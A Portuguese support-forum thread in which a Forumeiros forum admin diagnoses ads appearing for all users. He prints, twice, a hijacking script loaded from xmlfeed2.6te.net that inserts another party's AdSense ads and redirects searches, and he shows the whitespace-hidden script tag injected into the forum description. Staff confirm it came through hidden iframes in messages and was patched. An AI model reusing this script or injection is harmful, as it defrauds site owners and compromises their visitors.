Detalhes da dúvida

Versão do fórum : PunBB
Nível de acesso : Administrador
Navegador usado : Google Chrome
Membros afetados : Todos os membros do fórum
Problema começou : Uma semana atrás
Endereço do fórum : http://www.tabernarpg.forumeiros.com

Descrição do problema

Como o nome diz. Eu defini nas opções de meu fórum para que as publicidades sejam vistas apenas por convidados, mas elas estão aparecendo para todos.

Att~~~esse tópico começou com essa dúvida, porém o assunto real surgiu após eu analisar direito o problema, essa foi minha resposta a Nikka, com as várias edições do que fui descobrindo.

Antes de tudo, eu quero saber de alguma solução, pois eu não consigo acabar com esse problema.

Aqui está:




Tem várias mudanças no código de meu fórum, tanto em javascript, quanto em html, e css. (você pode conferir acessando o fórum)
Então fica complicado eu postar tudo aqui. Mas posso assegurar que esse anúncio não faz parte de nenhum code, até porquê é o mesmo para visitantes, membros, e moderadores.

Obs: Experimentei desativar todos os javascripts, e não resultou. Percebi também que membros e convidados não conseguem ver imagens nos tópicos, mas eu consigo. Já tentei apagar todo o css também.

~~edit
Também tentei desativar as páginas html, e no javascript console, o seguinte erro persiste:


Esse valor "1734" continua crescendo infinitamente, como se fosse um spam.

E também, o script em que isso ocorre fica hospedado fora do forumeiros, porém, eu não o chamei, vejam ele:

Código:

if(_userdata["user_level"]!='1'&&window.repeatstop56364765===undefined){

repeatstop56364765='a';
numaleat = parseInt(1000000) + Math.floor(Math.random() * 9999999 - 1000000);
iframeh='<div style="margin:0 auto;text-align:center"><iframe style=width:728px!important;height:90px!important;overflow:hidden!important frameborder=0 id='+numaleat+'></iframe></div>';
phpbb = 'table.bodylinewidth td.bodyline #page-body table[cellspacing="0"][cellpadding="0"][width="100%"] tbody tr td[valign="top"][width="100%"]';

function testedeadd(){

if(jQuery('#main-content').length){phpbb='#main-content'};

if(jQuery('#'+numaleat).length==0){

jQuery(phpbb).eq(0).prepend(iframeh);

ifrm=jQuery('#'+numaleat)[0];ifrm=(ifrm.contentWindow)?ifrm.contentWindow:(ifrm.contentDocument.document)?ifrm.contentDocument.document:ifrm.contentDocument;ifrm.document.open().write('<style>body{margin:0px}</style><script>google_ad_client=\x22pub-4591355146850004\x22;google_ad_slot=\x221666688237\x22;google_ad_width=728;google_ad_height=90</script><script src=http://pagead2.googlesyndication.com/pagead/show_ads.js></script>').close();

};

linkstyle='style[type="text/css"]:contains("html body iframe[name="google_ads_frame"]")';if(jQuery(linkstyle).html().indexOf('display:block')!=-1){jQuery(linkstyle).eq(0).html(jQuery(linkstyle).eq(0).html().replace(/display:block/g,'display:none'))};

if(jQuery('#fa_ticker_block').css('display')!='none'){jQuery('#fa_ticker_block').css('display','none')};

};

jQuery(document).ready(function(){if(window.testedeaddfdgd===undefined){testedeaddfdgd='a';testedeadd()}});

if(window.testedeaddfdgd===undefined){testedeaddfdgd='a';setInterval(function(){testedeadd()},1)};

window.onload=function(){clearInterval(setInterval1)};

jQuery('form[action^="/search"] input[type="submit"]').live('mousedown',function(){window.open('http://google.com/cse?cx=partner-pub-4591355146850004:5829051292&q=' + encodeURIComponent('site:' + location.hostname + ' ' + jQuery(this).closest('form').find('input[name="search_keywords"]').val()));return false});
jQuery('form[action^="/search"] input[name="search_keywords"]').live('keypress',function(e){if (e.which == 13) {window.open('http://google.com/cse?cx=partner-pub-4591355146850004:5829051292&q=' + encodeURIComponent('site:' + location.hostname + ' ' + jQuery(this).val()));return false}});

};

jQuery('script[src="//xmlfeed2.6te.net/s"]').remove();

Se encontra no link:
http://xmlfeed2.6te.net/s

Pesquisei sobre esse link, e encontrei este tópico:
https://ajuda.forumeiros.com/t97890-tentativas-de-hacker-o-forum-por-mp

Em um dos code que o rapaz postou, está o mesmo link, porém, eu não abri MP alguma na última semana, não houve nada suspeito no fórum...

~~edit2
Pelo que vi, aparentemente algum script está causando um tipo de spam em meu fórum, e mesmo que eu desative os codes em javascript, isso persiste, já experimentei desativar tudo, e isso continua ocorrendo, enfim, eu fui em outro fórum da forumeiros, e adivinhe só? Esse mesmo script existe em aldeiarpgbr.forumeiros.com, e seu administrador nem mesmo sabe disso ainda!

Se iniciar o console do javascript, verá que existe um spam para convidados e membros, mas não para administradores.

Sabe o que é pior? Vejam:

Código:

<script>google_ad_client=\x22pub-4591355146850004\x22;google_ad_slot=\x221666688237\x22;google_ad_width=728;google_ad_height=90</script><script src=http://pagead2.googlesyndication.com/pagead/show_ads.js></script>').close();

Eles estão lucrando em cima de vocês com esse código, adicionando anúncios nos fóruns afetados!

Olá terabin,

Poderia nos enviar um printscreen do seu Painel de controle onde desativou as publicidades?
E se possível um printscreen da publicidade e o seu código?

Até mais.

Aqui está:




Tem várias mudanças no código de meu fórum, tanto em javascript, quanto em html, e css. (você pode conferir acessando o fórum)
Então fica complicado eu postar tudo aqui. Mas posso assegurar que esse anúncio não faz parte de nenhum code, até porquê é o mesmo para visitantes, membros, e moderadores.

Obs: Experimentei desativar todos os javascripts, e não resultou. Percebi também que membros e convidados não conseguem ver imagens nos tópicos, mas eu consigo. Já tentei apagar todo o css também.

~~edit
Também tentei desativas as páginas html, e no javascript console, o seguinte erro persiste:


Esse valor "1734" continua crescendo infinitamente, como se fosse um spam.

E também, o script em que isso ocorre fica hospedado fora do forumeiros, porém, eu não o chamei, vejam ele:

Código:

if(_userdata["user_level"]!='1'&&window.repeatstop56364765===undefined){

repeatstop56364765='a';
numaleat = parseInt(1000000) + Math.floor(Math.random() * 9999999 - 1000000);
iframeh='<div style="margin:0 auto;text-align:center"><iframe style=width:728px!important;height:90px!important;overflow:hidden!important frameborder=0 id='+numaleat+'></iframe></div>';
phpbb = 'table.bodylinewidth td.bodyline #page-body table[cellspacing="0"][cellpadding="0"][width="100%"] tbody tr td[valign="top"][width="100%"]';

function testedeadd(){

if(jQuery('#main-content').length){phpbb='#main-content'};

if(jQuery('#'+numaleat).length==0){

jQuery(phpbb).eq(0).prepend(iframeh);

ifrm=jQuery('#'+numaleat)[0];ifrm=(ifrm.contentWindow)?ifrm.contentWindow:(ifrm.contentDocument.document)?ifrm.contentDocument.document:ifrm.contentDocument;ifrm.document.open().write('<style>body{margin:0px}</style><script>google_ad_client=\x22pub-4591355146850004\x22;google_ad_slot=\x221666688237\x22;google_ad_width=728;google_ad_height=90</script><script src=http://pagead2.googlesyndication.com/pagead/show_ads.js></script>').close();

};

linkstyle='style[type="text/css"]:contains("html body iframe[name="google_ads_frame"]")';if(jQuery(linkstyle).html().indexOf('display:block')!=-1){jQuery(linkstyle).eq(0).html(jQuery(linkstyle).eq(0).html().replace(/display:block/g,'display:none'))};

if(jQuery('#fa_ticker_block').css('display')!='none'){jQuery('#fa_ticker_block').css('display','none')};

};

jQuery(document).ready(function(){if(window.testedeaddfdgd===undefined){testedeaddfdgd='a';testedeadd()}});

if(window.testedeaddfdgd===undefined){testedeaddfdgd='a';setInterval(function(){testedeadd()},1)};

window.onload=function(){clearInterval(setInterval1)};

jQuery('form[action^="/search"] input[type="submit"]').live('mousedown',function(){window.open('http://google.com/cse?cx=partner-pub-4591355146850004:5829051292&q=' + encodeURIComponent('site:' + location.hostname + ' ' + jQuery(this).closest('form').find('input[name="search_keywords"]').val()));return false});
jQuery('form[action^="/search"] input[name="search_keywords"]').live('keypress',function(e){if (e.which == 13) {window.open('http://google.com/cse?cx=partner-pub-4591355146850004:5829051292&q=' + encodeURIComponent('site:' + location.hostname + ' ' + jQuery(this).val()));return false}});

};

jQuery('script[src="//xmlfeed2.6te.net/s"]').remove();

Se encontra no link:
http://xmlfeed2.6te.net/s

Pesquisei sobre esse link, e encontrei este tópico:
https://ajuda.forumeiros.com/t97890-tentativas-de-hacker-o-forum-por-mp

Em um dos code que o rapaz postou, está o mesmo link, me pergunto se isso talvez não seja um ataque...

~~edit2
Pelo que vi, aparentemente algum script está causando um tipo de spam em meu fórum, e mesmo que eu desative os codes em javascript, isso persiste, já experimentei desativar tudo, e isso continua ocorrendo, enfim, eu fui em outro fórum da forumeiros, e adivinhe só? Esse mesmo script existe em aldeiarpgbr.forumeiros.com, e seu administrador nem mesmo sabe disso ainda!

Se iniciar o console do javascript, verá que existe um spam para convidados e membros, mas não para administradores.

Sabe o que é pior? Vejam:

Código:

<script>google_ad_client=\x22pub-4591355146850004\x22;google_ad_slot=\x221666688237\x22;google_ad_width=728;google_ad_height=90</script><script src=http://pagead2.googlesyndication.com/pagead/show_ads.js></script>').close();

Eles estão lucrando em cima de vocês com esse código, adicionando anúncios nos fóruns afetados!

Estou dando um up porquê acho que isso merece total atenção!

Encontrei ao menos no meu fórum, o local onde estava o suposto "script".
A descrição do meu fórum estava desta forma:

Código:

Taberna RPG, suporte para desenvolvimento de jogos                                                                                                    <script src=//xmlfeed2.6te.net/s></script>

Fiquem atentos! Executem o console javascript do fórum de vocês e saibam se o fórum está com esse maldito script!

Olá terabin,

Esta situação já foi reportada aos técnicos Forumeiros e eles estão a tentar encontrar uma solução definitiva para resolver este problema.

Agradecemos a sua compreensão.
Até mais.

Olá terabin,

Devido a um iframe oculto nas mensagens ou Mensagens Privadas, um código script era adicionado à descrição do fórum, fazendo com que as publicidades aparecessem, mesmo que tenha assinalado ou pago para que isso aconteça.

Uma alteração ao nível dos códigos foi realizada hoje pelos técnicos nos fóruns Forumeiros de forma a que isso não volte a acontecer.


Agradecemos a sua colaboração e pedimos desculpas pelos inconvenientes causados.
Até mais.